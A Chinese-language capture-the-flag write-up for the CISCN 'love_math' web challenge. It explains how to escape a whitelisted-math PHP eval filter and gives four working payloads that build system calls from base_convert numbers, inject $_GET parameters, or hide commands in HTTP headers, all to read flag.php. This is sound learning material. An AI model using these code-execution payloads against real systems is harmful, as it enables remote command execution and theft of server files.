¶CISCN Web love_math
这是当时国赛没有做出来的题目 在攻防世界看到有原题复现 所以拿来补一下
直接上源码
1 |
|
输入长度要小于80 不能有空格、换行、单引号、双引号、反引号、[]
并且要用白名单里的函数
最后执行
1 | eval('echo '.$content.';'); |
首先的思路:用白名单的函数拼凑出getshell命令,但是引号被禁了所以这个思路行不通
关注点在白名单的函数中有什么函数可以把26个字母都表达出来,可能就是解题的关键。
发现一个函数
base_convert()
高于10进制的数字用a-z表示
可以用数字把phpinfo表示出来
试试能不能执行
执行成功了 思路是对的
试试执行system(‘ls’)
可以执行system 并且知道了flag的位置
目的就是读取flag.php
但是不能直接cat flag.php 因为空格被过滤了
之前打国赛的时候思路就在这里卡住了 后来看了众师傅的方法才明白这题有多种解法
膜各大师傅!!
思路四种:
1.用php的readfile函数读取文件,但是要构造’flag.php’里的’.’
2.用system函数配合通配符’’ 但是要构造出’’
3.构造出$_GET手动传入参数
4.这个是最让我吃惊膜拜的 利用getallheaders()把命令藏在http头部,太骚了
¶思路1
因为有限制payload长度所以我们把base_convert用变量代替
因为变量长度最少为2
即
1 | ($pi=base_convert)(2146934604002,10,36)('flag.php'); |
这时候要想办法构造出’.’
第一个想法用异或
是异或不出来的
但是我们发现dechex
函数可以把10进制转换为16进制,我们可以再异或出hex2bin
,来获取任意ASCII字符。(记住这个操作)
最终得到payload
1 | ($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36)); |
显然超长了 所以这个思路不行
¶思路2
利用思路1的方法得到了*
cat *
的16进制为636174202a
得到了payload
1 | ($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666))) |
超长了两个字符 可以尝试缩短payload
不难发现nl命令可以和cat达到同样的效果
所以得到最终的payload
1 | ($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882))) |
刚刚好79 可能这是出题人预期的解
¶思路3
从上面可以知道 我们可以得到‘_’这个字符 且$没有被禁,即使[]
被禁 {}
也可以用来提取数组的值
通过fuzz可以得到
1 | 1^n=_; 5^r=G; 1^t=E; 7^c=T |
得到payload
1 | ?0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1}) |
¶思路4
利用getallheaders这个函数做文章
我们可以把payload藏在http header里
最终payload
1 | $pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1}) |